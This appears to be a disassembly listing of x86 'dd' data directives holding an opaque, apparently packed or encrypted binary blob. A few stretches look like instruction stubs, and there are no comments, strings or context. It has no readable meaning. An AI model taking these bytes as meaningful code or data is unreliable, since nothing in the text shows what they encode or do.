		dd 489D189Eh, 593BCC02h, 0B3CBD2D3h, 0C9812D98h, 101BA7C8h
		dd 4F5h, 0C511060Eh, 0DAFD9FD8h, 2B2A420Fh, 79AACE5h, 0BEABB2DBh
		dd 0F9C4D385h, 0DC15142Ch, 1F081D3Ah, 4E1BBF7Fh, 0DD346AB0h
		dd 333ADB07h, 6CB80B79h, 0AEE7804Bh, 501DE8EFh,	460E4838h
		dd 0B3D5DB08h, 0F3FC2334h, 983C549Fh, 40D9BEBFh, 323B6AA1h
		dd 14CEA96Dh, 6384EA23h, 0AB633076h, 6269E2AFh,	1FAF386Ah
		dd 4A22B7FCh, 952h, 7F948354h, 0BCD1C696h, 0FD1205D3h
		dd 3C514614h, 82978053h, 8D505574h, 0CD8C758Ah,	0FCCB5CAh
		dd 480AF308h, 0BB5A3A4Fh, 0AB403F75h, 0FDAB45CBh, 350017C7h
		dd 26F1E6B8h, 0F39E09A0h, 7E08B6D1h, 326E1FA6h,	867BFA41h
		dd 0A3A3BBDCh, 1BA7A6EFh, 43432h, 80BA3000h, 0A2D35970h
		dd 1F7461B5h, 704E84CAh, 4D54D359h, 9A424535h, 4148DB07h
		dd 11C6FF54h, 9ABEF43Ah, 0BDC4DB07h, 0A0DCB9Ch,	484F0FF2h
		dd 8F884A33h, 459186C4h, 0CD451258h, 444BE2AFh,	1FC93C4Ch
		dd 3E16ABFCh, 8B2h, 0DFF4E3B4h,	1C3126F6h, 5D726533h, 9CB1A674h
		dd 0E2F7E0B3h, 0EDB0F5D4h, 2DECD5EAh, 6F2C152Ah, 0A86A5368h
		dd 1BBA9AAFh, 0AB3F9FD5h, 5D0BA5CBh, 350017C7h,	0CB01479Ch
		dd 0D1D35970h, 0FCFB2CAh, 1BC03D08h, 0E2B431FCh, 0DBD62AF5h
		dd 20B79170h, 0FD4109B5h, 7CB51BA7h, 57F0BBDCh,	5968DB11h
		dd 0B9DAE1D3h, 37F85A1h, 0BA830000h, 0D3597086h, 0E2B7AFA8h
		dd 0A1E7D4F5h, 0DB079AA7h, 80B9A6ADh, 0BBA4B9DEh, 0D60FFC1Bh
		dd 1EFB1304h, 0B29F77E0h, 0AFC3CF6Ch, 0D6CED5E2h, 0FC1FC780h
		dd 0FC29A2Fh, 11000008h, 59425740h, 9E879CBBh, 0DFC8DDFAh
		dd 1E071C3Bh, 3543587Fh, 55421194h, 97805740h, 0DBFC9982h
		dd 1A3DDDC6h, 40862505h, 0CBAB3F0Ah, 0C7C87610h, 0F1130017h
		dd 0EB43D67Bh, 43A807Ch, 0AD3590Bh, 4611E203h, 0C35C3951h
		dd 7B1ACD8Ah, 0A3C4915Ch, 10F30BD8h, 0DBFC994Eh, 824D4A0Ah
		dd 4C994B5h, 9CD580EBh,	410ED9FEh, 0EA944629h, 1C5A9392h
		dd 6F5C7DB7h, 5E766136h, 2B793137h, 88DD1BA8h, 593A0C42h
		dd 0F30B12D3h, 21D7h, 579ABC00h, 13D81F92h, 1E7356A0h
		dd 0B0D17C70h, 0A26CB298h, 95000002h, 70C4FA40h, 0C3CAD359h
		dd 86BAC5ABh, 4DD35970h
		dd 8B564114h, 7076ACF2h, 757CD359h, 0BF983C54h,	31246A57h
		dd 37DB079Ah, 480A4330h, 6F2AFD9Fh, 0AFD09D68h,	0E1F617E4h
		dd 663126F8h, 0FAE72F28h, 0AFC417B4h, 1E161DE2h, 0FC1FC652h
		dd 176038CDh, 19000007h, 614A5F78h, 0A68FA4B3h,	0E7D0E5F2h
		dd 260F2433h, 3D4B6077h, 5D7A198Ch, 9FB85F48h, 0E3F4A18Ah
		dd 2235E5CEh, 488E2D0Dh, 0CBAB3E12h, 0C7D07E18h, 0B8350017h
		dd 0E204F1E6h, 0CA597F91h, 0B8DF7B48h, 0DDA27F97h, 75AE59C4h
		dd 18E5B0A7h, 0AA7D1D00h, 0B2C7E8EFh, 0A898E6ACh, 173B1Bh
		dd 0AB390000h, 0ADC7E589h, 883FCF77h, 0FD5F5037h, 49879FC0h
		dd 1D9h, 7087BA8Bh, 0ACA9D359h,	49357B68h, 10DB079Ah, 0DB9B13EEh
		dd 9DB57754h, 0B0E9D6DDh, 0CFD4E9EEh, 0AD5C296h, 5F52B71h
		dd 0F4FBDB08h, 6D8BBD3h, 0F084611h, 0F794DAC7h,	0FDE2B02Fh
		dd 2A6CFEF6h, 26BBFC1Fh, 6594Eh, 9DBA5B00h, 0DAFD9F88h
		dd 1B3CDCC5h, 5E791D06h, 9ABD6049h, 53527785h, 99829780h
		dd 0DBC4D9FEh, 1B04193Eh, 67475C7Bh, 3D4C82C8h,	0B852CBABh
		dd 17C70Ah, 41E6B835h, 0BCAAE995h, 5610F572h, 0CC9D6A35h
		dd 703D080Fh, 0A6BF844Fh, 8257903Bh, 8F4DCA95h,	0CFF0BD88h
		dd 1502D4B7h, 0D0B0FA00h, 7891BA8h, 87000000h, 1246Ch
		dd 87BAAE00h, 0A9D35970h, 85D1CFACh, 434BE299h,	0A7E03522h
		dd 2E0E4AF4h, 90E12FD6h, 8367576Fh, 89DB079Ah, 0BA5C9582h
		dd 4A83889Dh, 1C3BDB8Ch, 98638451h, 9A83B9FFh, 8289DB07h
		dd 0B4664961h, 0BD9AD8A3h, 9A11478Dh, 92D8DB07h, 0DB079A5Ch
		dd 0A6AD5B62h, 0B5529885h, 0BBE2AFC3h, 0C36CA2E8h, 0ED33E2AFh
		dd 0E2AFC3B7h, 108B6BDh, 0C788E8E0h, 7207FC1Fh,	5759Ah
		dd 0B1A67700h, 0F6E1B39Ch, 3720F8E1h, 7A9D3922h, 0BED97C65h
		dd 772E9BA9h, 0B59EB3A4h, 0F7E0F5E2h, 37203522h, 7B5B7067h
		dd 3C6096DCh, 0CC66CBABh, 17C71Eh, 0F1E6B835h, 0A0DCB04h
		dd 375015F2h, 0AE9D3DCCh, 59703268h, 103138D3h,	1B900123h
		dd 76301558h, 7931375Eh, 0C01BA8B3h, 7,	476CBEh, 0C7AE0000h
		dd 0DA130017h, 0AEA96F38h, 0DDF516E3h, 0CC126700h, 0D3597096h
		dd 9A7D959Ch, 9DF2DFF8h, 59702157h, 0AE051BD3h,	4659E5CDh
		dd 9C799198h, 945F781Fh, 87524517h, 0E3C22D3Eh,	46D5403Bh
		dd 2A6E8394h, 36h, 5017C76Ch, 806D8E89h, 0F866305Eh, 0E5FD339Ch
		dd 61366F08h, 0C6DEAB76h, 58C29DD6h, 9FF47FD3h,	1EE6567Dh
		dd 704E0EEDh, 0D3589D3Ah, 6213940h, 4D4A0C9Bh, 72AB4C38h
		dd 3D5A00A7h, 7121041Ch, 98407966h, 3D080FCFh, 0B7844F70h
		dd 9384C29Fh, 0DF015643h, 0CD483D80h, 1A502EE5h, 20D35874h
		dd 0BC020119h, 0DB069EE0h, 9DF2DFE6h, 9ECC0248h, 0EFAFDB06h
		dd 0A2501DE8h, 0FEA0839Bh, 9DBFC4D9h, 99095A41h, 272961E0h
		dd 43EBE2F1h, 94835122h, 1E4FCC9h, 3D7B4651h, 0BA0FFCD8h
		dd 17844F98h, 7D95E734h, 0B4A0408Dh, 523F46E2h,	495E7919h
		dd 0CE99BE60h, 624F8790h, 7C696E29h, 0B4A00036h, 0E7FF06E2h
		dd 0D121A2E8h, 5427EA5Ch, 5CD1D80Eh, 0B6D7DEEAh, 4AF5D0BEh
		dd 0A27A0FE4h, 3EAh, 172C2BECh,	54696E2Eh, 95AAAD6Bh, 0D4E9EEACh
		dd 1A2F28EBh, 35E8BD0Ch, 75240D22h, 0B7644D62h,	0F0A28BA0h
		dd 53F2D2E7h, 0AB3BD70Dh, 9543DDCBh, 130017C7h,	4E193EDAh
		dd 15FDC781h, 88CD27C5h, 0BE604970h, 8151CE99h,	582334E6h
		dd 0DA9F6A8Bh, 17C756C1h, 78BE1300h, 0D3595C42h, 5C8DC309h
		dd 8C93D359h, 98BFD7DEh, 0A815D892h, 45211Bh, 61F0000h
		dd 92D8C511h, 0DB01BEA5h, 7EB7A4ABh, 98D1BED9h,	92B9D1C6h
		dd 1BE649Ch, 22F22BDBh,	0CC9D6A35h, 77440F08h, 0F1DA7C5Fh
		dd 1BE75ABh, 87747BDBh,	1BE0B41h, 0E90A11DBh, 292EEBD4h
		dd 334865Eh, 6C80000h, 92D8C511h, 0DB019C89h, 52451750h
		dd 72A8EE87h, 78DB019Ch, 78385071h, 6929A671h, 544FA36Eh
		dd 0A3E93EE9h, 0DB019C6Dh, 0B0546C73h, 0FF18BFA7h, 59466734h
		dd 0AFF7E737h, 0EBD85477h, 1E36FA5h, 566E75DBh,	0EC90257h
		dd 59713E09h, 0AA0F6069h, 0C30527E2h, 56C58B38h, 474E0E26h
		dd 20F42D32h, 0A3C4D387h, 0A66EE78Bh, 116A73B9h, 6970EA52h
		dd 0ABE1277Ch, 0B1EA5211h, 38B592AAh, 2CA77265h, 53C4147Fh
		dd 0FB419683h, 0EA5211C5h, 524514CBh, 8199BA87h, 3D333C82h
		dd 3239F1FAh, 7562341Dh, 6A6D2DAAh, 0BAAAAB55h,	6734FF18h
		dd 0B80BF0ADh, 5374E913h, 9EDF2066h, 0DEE5F9A1h, 9E4F8913h
		dd 516AF9A1h, 2F703AE6h, 3BC9C210h, 0C7000000h,	0D8C51106h
		dd 10DBFC9Fh, 0E62C2B43h, 0DB0176B1h, 7A9D3F78h, 9AD016AFh
		dd 0A0DB0176h, 0A0607899h, 0A44CE99h, 25DB0176h, 2E29EF28h
		dd 0E490FB16h, 0E3FFFBAEh, 0DB73h, 17C77100h, 0E5B83500h
		dd 66879042h, 52355779h, 3CE3DBFDh, 8CA4724h, 72AB440Fh
		dd 0B598B0A7h, 0F90C59E5h, 4E40EDD4h, 5207402Dh, 10062D45h
		dd 0D358D4C1h, 0B7ED3388h, 0BDD358D4h, 1BBB9EB6h, 10ED0FFCh
		dd 2E1AD867h, 533C637Bh, 30C99483h, 991FD10Eh, 0A1B9B558h
		dd 0CFBC18FDh, 8D3C496h, 0CBCC8Bh, 0FBFA1233h, 15348B5h
		dd 32474EDBh, 5A478F88h, 0AC046414h, 76636AE2h,	64799E3Dh
		dd 0C7BFD87Bh, 0FC1B06C5h, 9BA77F14h, 9D000001h, 0DDC6DBFCh
		dd 1A03183Fh, 5B44597Eh, 9A8398BFh, 0B9C7DCFBh,	0D1C69510h
		dd 1304D3BCh, 574015FEh, 9EB95942h, 0C40AA989h,	0CBAB388Eh
		dd 0AB4CFA94h, 70DA1056h, 0D9E0D359h, 2E465108h, 7A8F884Bh
		dd 0ED3DC191h, 0BCF8B593h, 37233859h, 0D8C51106h, 1765D92h
		dd 6F5C63DBh, 59716636h, 76B8F27Ch, 0BAD3DB01h,	0FBEFA34Fh
		dd 0AE32E3FFh, 30000000h, 8C5017C7h, 7001A8F2h,	17385AD7h
		dd 935E7F4Ch, 85504716h, 58EEACFBh, 0C8CF8FD3h,	0F08CAB3h
		dd 0C5110644h, 28FF9FD8h, 2C446572h, 0FD7AE72Dh, 7980DB00h
		dd 795DBA64h, 9285538Ch, 26357B7Ah, 2CE2ABAAh, 0AAE33825h
		dd 7D9A3DEAh, 9778A25Ch, 1C04BB40h, 65722104h, 0A3B46750h
		dd 1BB7D7ABh, 0A57D12FCh, 0C2h,	0EF0413C4h, 2C415606h
		dd 6D829543h, 0ACC1D684h, 0F20710C3h, 1DC0E5E4h, 5DFCE5FAh
		dd 9F3C253Ah, 0D87A6378h, 2BCAAABFh, 0AB37AFE5h, 6D1BB5CBh
		dd 0EE0314C7h, 0EAEDB0E9h, 8F2FEFD2h, 473EBE76h, 7287A8DCh
		dd 0A272AB86h, 25465105h, 0CC978054h, 5204E7FFh, 5DFD7A45h
		dd 0AACBCC8Ah, 0AA6AEB95h, 9A2677BDh, 252CDB07h, 1A3DDD5Ah
		dd 5D7A1C05h, 1DC0F992h, 4A622FFAh, 0A7E5925Ah,	86BF9E59h
		dd 2CF9C4D3h, 0FF8EF914h, 3A23385Fh, 37B47F98h,	2CA97463h
		dd 229F6A6Dh, 45996473h, 3100DF4Ah, 0C88A1984h,	1D1BACFh
		dd 9072916h, 7195D1F3h,	0B81C3CF6h, 518A4E4h, 33810EDh
		dd 7A000000h, 16C73EDCh, 19B93601h, 0E1B633FEh,	0EBAE2BF6h
		dd 0F1A421ECh, 0FF9E1BE6h, 0CA900DD8h, 0D38502CDh, 0D87CF9C4h
		dd 513CF4BFh, 0BA52E189h, 4, 835AD101h,	0C8704E9h, 14685C24h
		dd 89000054h, 8956242Ch, 4C681E6h, 83000000h, 348704EEh
		dd 0C895C24h, 0BE565124h, 73E05262h, 0DEF7D6F7h, 0DE3EEE81h
		dd 0F18940C3h, 0C1D9F75Eh, 0E9C105E1h, 0C1814107h, 6754808h
		dd 6859CD89h, 6F02h, 83242489h,	59042404h, 4B5A68h, 242C8900h
		dd 2D240481h, 8F5FBA0Fh, 69810841h, 0BA0F2D08h,	2434FF5Fh
		dd 4C48159h
		dd 8B000000h, 8956242Ch, 4C681E6h, 83000000h, 348704C6h
		dd 2CE95C24h, 0F6FFFA45h, 83468421h, 21F04046h,	2948013Eh
		dd 0AE39EAB8h, 0FFC50307h, 0C1E55E0h, 0ABD1C931h, 0D38E7A33h
		dd 9575121Fh, 63F2DD70h, 9471C131h, 56FB2701h, 53327C53h
		dd 767E5362h, 82540667h, 0A4820964h, 33378316h,	0A91733Dh
		dd 5979CB78h, 0B8239956h, 6492F665h, 0EFF9A252h, 2915CA21h
		dd 0C3297E73h, 919F6C31h, 6BBE434Ah, 752E0C6Eh,	0A0A67B32h
		dd 0FC0BC160h, 5389554Eh, 0E4322A6Fh, 462154Dh,	0D284DC1Dh
		dd 0C99D43Fh, 17E971h, 5810000h, 5B18h,	4 dup(0)
		dd 557E900h, 0C5960000h, 0D4BDD2h, 7F190217h, 0BC5A4358h
		dd 0FE9D869Bh, 13B6C4D9h, 0BFD4C392h, 0FF1403D6h, 41564116h
		dd 7C918658h, 81B7FD9Ch, 87CBAB35h, 17C73FEDh, 78BE1300h
		dd 0D3597042h, 0B7657225h, 22BB98B0h, 0A31DF200h, 732DE7F0h
		dd 0D9BCD468h, 0AEA96D3Ah, 1E73788Dh, 58F7A2D8h, 0E7A1A8D3h
		dd 0A812AE4Ah, 0EF1096Bh, 3804B4Ch, 0FC794453h,	30523F58h
		dd 3B8688BEh, 0A7849C37h, 9E696E2Ah, 97627521h,	0F3D23D4Eh
		dd 0AE4A6C4Bh, 4516766Eh, 0D9445F77h, 7A8F884Ah, 0BED3C491h
		dd 0E81E64B9h, 0EED358D3h, 930DCB4Eh, 5172AE11h, 0F0BBDC80h
		dd 73280B23h, 7D1C9964h, 67148F5Ah, 0AFA86DFCh,	0CDCA89C2h
		dd 0F61D3502h, 7F4A4D0Dh, 593CBCF5h, 94FF96D3h,	0A835A2E8h
		dd 7C771Bh, 0C7750000h,	9C350017h, 70CB0147h, 0CAD1D359h
		dd 708AC2B2h, 0A86DD359h, 0B367E4AFh, 0FB14D9A4h, 40D7B190h
		dd 26F12AD5h, 51191931h, 0C51BA801h, 2CDCA8Ch, 1011D35h
		dd 0FF000000h, 370215C7h, 32FD1ABAh, 0C05DE1B5h, 0B78988CFh
		dd 81FEC9EAh, 534411D6h, 2EEA6732h, 36E35E29h, 4944ECCBh
		dd 8A8D4FDEh, 0F0B7649Dh, 3F0A2B2Ch, 2E335A72h,	465D93D9h
		dd 5C63D359h, 0A6B16144h, 14C7A591h, 0C0918653h, 11DCFD1Ah
		dd 0EAD7C094h, 70194F95h, 681FD359h, 6981A2B5h,	43AEC78Ch
		dd 6C5DE1B4h, 5DA934D7h, 0C3FCE90Ah, 6C390413h,	0EC03397Fh
		dd 209D358h, 38DAC3EAh,	1D7541Fh, 0ED064B16h, 7BECD682h
		dd 98551BA7h, 53000000h, 6B6A14C7h, 0BF9E3354h,	9613DEFFh
		dd 0B60AD5C2h, 0DDFA9ED7h, 0D7C09512h, 61E3F0Ch, 22F180EBh
		dd 64372035h, 6F2BA873h, 0E7597B68h, 0DB2FAF30h, 1E9B7890h
		dd 13905B7Ch, 0C68B5641h, 519742ADh, 0D3596A1Bh, 60F91A21h
		dd 0F831DC47h, 9B683324h, 0F9BF8383h, 64021BA7h, 0E7000000h
		dd 0AD1BE5C5h, 0D4ECD48Bh, 314C7EEh, 0F91EBB38h, 0F4E3B12Eh
		dd 55E9AC29h, 3AE3DA1Bh, 0AF7A9B06h, 0BEA5566h,	63F25D6Eh
		dd 8D92A7B0h, 35E78054h, 5A470122h, 9CC022D0h, 0C7230921h
		dd 0AD370215h, 0D3597074h, 0A04CB74Eh, 1BA801EAh, 5740134Ch
		dd 8BA7BF8Ch, 0Bh, 9FD51B70h, 0A5D35964h, 0C7A0869Eh, 0BE3B0611h
		dd 0D50EFB1Ch, 7F4C1700h, 7E0F8A67h, 6E869145h,	1B3DE853h
		dd 4F8BECC3h, 0B598B0D3h, 35DFF4E3h, 0B207F420h, 0A2BADD79h
		dd 176D1B2h, 0FD4398DBh, 0DB0176C7h, 0EEAEC6CDh, 2E831CE7h
		dd 653027F5h, 7684BA98h, 838ADB01h, 11D6886Bh, 0BC895443h
		dd 0A575AE9Bh, 6E739AB2h, 9933D14Ch, 4F0946A8h,	2C53698Bh
		dd 92758D45h, 0B1EAD7C0h, 5E2BF6E1h, 0AED06946h, 11F9D731h
		dd 0F3A172D9h, 0A4DCCCE4h, 0BBDB0267h, 0EEB03FAAh, 2BEBD4E9h
		dd 8FC8612Ch, 3603CEC9h, 7C9B3B1Eh, 68D3ECB1h, 311E39D9h
		dd 676096DCh, 5F66DB02h, 501A2047h, 0A9E3FF08h,	125h, 0C51106A7h
		dd 9D9D92D8h, 9CA3DB01h, 958254D1h, 0D0C79780h,	504A6C05h
		dd 0F6F6187Fh, 0BA5C3F57h, 0A277B09Dh, 51DEAB5h, 0DF4A6328h
		dd 74898E50h, 7661366Fh, 0EA145E5Eh, 45EDE3FFh,	0EB000000h
		dd 0D4C11506h, 5970388Eh, 13C6FF53h, 84BA4A04h,	22AEC182h
		dd 0C1934A0Ah, 60EAB5D6h, 53593D2Ah, 0C3137EF3h, 4B917E56h
		dd 0D3593CF5h, 9BDFF4FBh, 0B1h,	2C98BC4h, 593D86BCh, 64858CD3h
		dd 0CEB4CC99h, 0DA1056ABh, 0E0D35970h, 381DC1D9h, 54A9EFDCh
		dd 1BDB018Ch, 1F6657F9h, 0ACF27B5Dh, 0DB020A76h, 3C54757Ch
		dd 2DAA757Ch, 6C556A6Dh, 58E2ADAAh, 0DB020B1Dh,	29B82334h
		dd 0AF596E69h, 5F816EA6h, 0C78ED6C6h, 11102815h, 0AFDFA6CBh
		dd 0B8A5ACE2h, 0DFE71D63h, 4DEDE2AFh, 7A712CA9h, 0A2BADB76h
		dd 20F32CC5h, 879F6C37h, 1AE5F2A4h, 0F5EC0E9Fh,	1515BDD9h
		dd 0D8435E76h, 357B8F88h, 0E2AFA2FFh, 0F0DDFE05h, 5DDE85AAh
		dd 0D48BEAh, 792CB17Eh,	153630D5h, 85DADFF4h, 5DBF093Fh
		dd 0F0080FEAh, 1056AB0Ah, 0D35970DAh, 2FFA1DBDh, 95ADB462h
		dd 0C3B064F1h, 7AB587Dh, 6A575EDBh, 85D8BD48h, 0BC681DA0h
		dd 0EE631D26h, 5A374F22h, 51A3DDDh, 710C700h, 0F81FBF3Ch
		dd 273F602Dh, 5D59244h,	8D7A4712h, 7B11147h, 0EF1017DBh
		dd 0F6D09A24h, 0E1DC37BDh, 5437E776h, 0BDF6D80Eh, 0EAD7DE37h
		dd 0BDF66EA4h, 4C6D7437h, 8B8C4E37h, 809743C0h,	228D3AB5h
		dd 0BFD4C393h, 481304D6h, 370h,	3EDCB200h, 360116C7h, 33FE19B9h
		dd 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h, 0DD8FF9Eh, 2CDCA90h
		dd 0F9C4D385h, 0F4BFD87Ch, 5A88683Ch, 2C890000h, 3E2A6824h
		dd 2C890000h, 33276824h, 14890000h, 3B316824h, 2C8B07AEh
		dd 4C48124h, 54000000h,	8324148Bh, 0B85004C4h, 8, 8155D001h
		dd 4CB3242Ch, 8F69E5h, 4CB30081h, 8B5869E5h, 89512414h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 2434FF5Ch, 4C4835Dh
		dd 0FA3F2EE9h, 3FD063FFh, 401CB8EAh, 0C50307AEh, 0B6BEE0FFh
		dd 0BF0C3126h, 0B964629Ah, 59BC1755h, 2BC66BFBh, 71BA7AF3h
		dd 0D7F04484h, 0D2DB09BAh, 749E24ACh, 6D3E0776h, 53604A8Bh
		dd 0AEF70B28h, 1BA5763Fh, 272F2BFAh, 0A9CF7CC3h, 0EDAB72C2h
		dd 3369161Eh, 0FDB37A2h, 0BE15B9Ah, 566A3BCBh, 0E7D04E2Ah
		dd 359C60AFh, 73FE1788h, 6F1C2CAAh, 8D8D69B6h, 7AE416Ch
		dd 5C65C0B8h, 0B5BD8947h, 8907A81Ah, 0A817318Dh, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 1CFD288Ah, 9E94D6Ah,	0A9000000h, 0E018BD67h,	66A36B90h
		dd 0A5985C7h, 62F007A8h, 0BF0F0000h, 0B5D781FAh, 0C702A5ACh
		dd 0A8093985h, 7, 55B5FF00h, 0F807A800h, 1A9995FFh, 0DE8B07A8h
		dd 6AD98Ah, 0D2195FFh, 0C08B07A8h, 71B66CEBh, 311A5BABh
		dd 547F0BFFh, 273C141Bh, 0B600B4F1h, 0FF18A2ACh, 1651828h
		dd 263D8725h, 6E003C1Fh, 0C1568840h, 8F60FEAh, 0DBD695EDh
		dd 57ADA74h, 8CDD9FB6h,	0ED17021Fh, 65D3AA5Ah, 0B04454AAh
		dd 3DAE4EDAh, 0EE194587h, 0EC2813ADh, 29622717h, 52A6F8B4h
		dd 5D62D3B9h, 212AF900h, 77D21670h, 78195D6h, 90C7532Bh
		dd 7FE9A328h, 1A000001h, 2717C05Ch, 0D31AD52Ch,	0D746B198h
		dd 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h
		dd 95BCD792h, 93B9E4h, 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h
		dd 73AFC945h, 55FC00EEh, 599CBA97h, 0B2A4E56Dh,	47FEACFFh
		dd 0C45657F6h, 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh
		dd 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 70E90000h, 6800000Fh, 7AE4576h
		dd 0FB066CE9h, 465C68FFh, 62E907AEh, 68FFFB06h,	7AE47BBh
		dd 0FB0658E9h, 48A068FFh, 4EE907AEh, 68FFFB06h,	7AE49D0h
		dd 0FB0644E9h, 4AA068FFh, 3AE907AEh, 68FFFB06h,	7AE4B54h
		dd 0FB0630E9h, 4BCD68FFh, 26E907AEh, 68FFFB06h,	7AE4CC2h
		dd 0FB061CE9h, 4D2C68FFh, 12E907AEh, 68FFFB06h,	7AE4DD1h
		dd 0FB0608E9h, 4E5F68FFh, 0FEE907AEh, 68FFFB05h, 7AE4EF8h
		dd 0FB05F4E9h, 503A68FFh, 0EAE907AEh, 68FFFB05h, 7AE5113h
		dd 0FB05E0E9h, 10EED9FFh, 0EA3CAE01h, 0C65088DBh, 9D6764B7h
		dd 738F3B8Eh, 7FC02364h, 55A8B743h, 2D808F67h, 65968BEh
		dd 0F83443D5h, 84F4AE17h, 1BB67A13h, 4CBB0A24h,	8CFC2F58h
		dd 87A1586Bh, 8C4051A0h, 0BCB8887Ah, 0E708F1ABh, 3F507B8h
		dd 0A4B34576h, 0CBF8B3EDh, 0DBA3562h, 98014C7Ah, 6ABD6A0Ah
		dd 0AFFF20A0h, 405E3D2Fh, 836ABD6Ah, 42CFC14Dh,	0F802BF8Ah
		dd 0C466CABCh, 6F899DF6h, 1026565Bh, 6332E6D0h,	0EB000000h
		dd 47742F71h, 20F6E5FCh, 0BC3D5E2Eh, 7A0D48E7h,	0A4FE67B2h
		dd 66ABD3Ch, 0B2F05986h, 0F86ABD3Ch, 87075778h,	0FCA60F5Ah
		dd 0AE6ABD3Bh, 24E50D2Eh, 5547DF0Dh, 0BBE36485h, 0ED6ABD3Ch
		dd 0A4BBC7D3h, 5EA8242Bh, 6E609C6Ch, 0DE1AE4E1h, 422959BDh
		dd 0C40FE6D0h, 0BD48475Bh, 0C2E3636Ah, 0CB85h, 87A13E00h
		dd 7169F6C7h, 79FAA9A5h, 0D6073657h, 0D2065787h, 9FCC0844h
		dd 9FC05A88h, 22FCEA77h, 0E02AA330h, 9E6861EEh,	2786EA8Fh
		dd 0E8E17266h, 71880F1Eh, 5E8DAE78h, 236E9B6Dh,	661DE8BAh
		dd 4642C272h, 0F26366C4h, 62E4F89h, 68638B15h, 0CC35629Eh
		dd 7A0E2857h, 0FC6D555h, 0A2ED1A91h, 0D2C45E8Bh, 6160E102h
		dd 8772688Dh, 448FDA07h, 132DC7DBh, 972E363h, 63132D99h
		dd 34559111h, 2E3DD905h, 0FD13EFDBh, 2DB5ECFDh,	8FEFCA62h
		dd 5F00000Ch, 34879660h, 0E6170BAh, 0EA3D4CDAh,	0C11423FDh
		dd 0A9EAF905h, 41DD093Ah, 19EDDF32h, 0F204B70Ah, 0CD5F90E3h
		dd 38A182BEh, 7A13876Ah, 0D5FEA540h, 0ABFE0DE9h, 0A2D9E832h
		dd 47742F71h, 22F4E5FCh, 0BE3F6030h, 7A0D48E5h,	765547C7h
		dd 6ABD3C28h, 0F3EC0380h, 46673729h, 172E7446h,	0CF3354A6h
		dd 0E6D0429Fh, 0B5ABh, 0E4D56400h, 57932012h, 76FAD9CBh
		dd 0F1726547h, 981F2EF8h, 3DBEE44Dh, 6CEC7265h,	59A31C4Bh
		dd 7F2A7667h, 0FDF00752h, 3C69392Bh, 653DCFD3h,	3A5BDB72h
		dd 0D636AB9h, 0B3C2427Ah, 0D0FDA4FCh, 18861C85h, 0A4246ABDh
		dd 0BBD52083h, 1302C163h, 0F13DB33Fh, 9D1394B5h, 297266FAh
		dd 79657CA9h, 0DC18E2E0h, 931795AFh, 0EDEA9BEh,	6955A8EDh
		dd 0FC71778Dh, 3AD22DB4h, 0BA95Fh, 0B04E7900h, 8A9C4EA1h
		dd 66B0287Bh, 3DC70457h, 13EFDB2Eh, 1F20C304h, 0F54857A3h
		dd 0CD202FC7h, 0A6F9081Eh, 98D4E335h, 88544EB7h, 0BB567A13h
		dd 0DE9D514h, 0E832ABFEh, 87A1A2D9h, 0C3AE9B0Fh, 92FB28DBh
		dd 72662810h, 0CAF91A9Ah, 88150711h, 0FFB6C557h, 74DD0AA1h
		dd 7A0E2ECFh, 0B5A5BF0Ah, 0C28F540Fh, 58F9A9F4h, 31B16ABDh
		dd 51728438h, 0B08F8101h, 6ABD58EEh, 870AA0BAh,	0E6D02557h
		dd 3F63h, 2F711C00h, 0DDE4774h,	2F7A0D6Ch, 0C0DEBDAFh
		dd 0E86ABD19h, 85B5FCCEh, 91E6D061h, 20h, 742F714Ah, 59CDDE47h
		dd 6FEF7A0Dh, 2B009E7Dh, 8EA86ABDh, 5345753Ch, 0C51E6D0h
		dd 0A000000h, 80487h, 61597000h, 71617495h, 0DE47742Fh
		dd 7A138617h, 43CEFC39h, 0B6FFC8DAh, 2662E26Ah,	0FB286434h
		dd 0F421EBE4h, 0C029ECDDh, 6AB6FFE2h, 0EB0C48C8h, 909A53A6h
		dd 97984963h, 2EEAC735h, 0ACF4E50Dh, 3FB1C8F5h,	26BCEEFh
		dd 72657382h, 283F6CECh, 0F23A4B6h, 9BEA34C0h, 0C4DB3E5Fh
		dd 9FF2010Bh, 29EADC2Eh, 212D75DEh, 0FD7D6309h,	4C5749DCh
		dd 52A1B61Fh, 46606AB1h, 0BC46EDA1h, 986E5E55h,	0AEEB3B5Ch
		dd 29F9EB3Dh, 2F6BBD30h, 0E3EBCD19h, 0F7D26A35h, 0A4Ah
		dd 4251AF1Ah, 1C2BFFEFh, 0F80717C9h, 0CFDE38A5h, 0A5B44E7Ch
		dd 0BE7F64h, 5894E7F6h,	716CBFCEh, 944598A7h, 56377382h
		dd 1389B5EDh, 0B35AF57Ah, 65431B83h, 455C4472h,	8336AF18h
		dd 0BDFA7A13h, 0ABBAF600h, 8538ACF4h, 75B18173h, 0EBE22E48h
		dd 0DEF77F89h, 0FCF15ABDh, 317264E6h, 6254A21Ah, 0A1217192h
		dd 0E2C02974h, 0C8630862h, 0ADC42748h, 88DBEA3Ch, 8198C557h
		dd 0F8C8BA44h, 0D4EEAFD7h, 0AC468EA1h, 57EA0B97h, 0EA356249h
		dd 8EC2181h, 0E8098963h, 2E701C85h, 8E0E6AB7h, 0CCFF1661h
		dd 0F1EA193Ah, 14C51827h, 0CBED502h, 173808FAh,	4C142EEFh
		dd 8D85EB17h, 564ACBECh, 0DDB5B0Eh, 82EB1893h, 0E3033F2Dh
		dd 0AA7C6D84h, 77C7E8B8h, 7D76803Ah, 0F9C9BB4Bh, 9C0DA7BDh
		dd 56EEBC55h, 9657Bh, 6C8A3500h, 46D00A5Dh, 22ECE437h
		dd 0F903C013h, 0CF2B97EAh, 0DB647FC0h, 0B10413EFh, 89DCEB3Bh
		dd 62B5C452h, 54909F69h, 8A980A73h, 77127A13h, 528AA1D0h
		dd 0A811D2C4h, 726541FAh, 0D3F430B0h, 5E8C6040h, 0A811D2C4h
		dd 726541FAh, 0B8F430B0h, 84C3228Bh, 2D6D7A13h,	258ED81Ah
		dd 6AB7347Dh, 0A6B1AD2Dh, 0A2CF0BECh, 9BC8528Bh, 0CEC04A84h
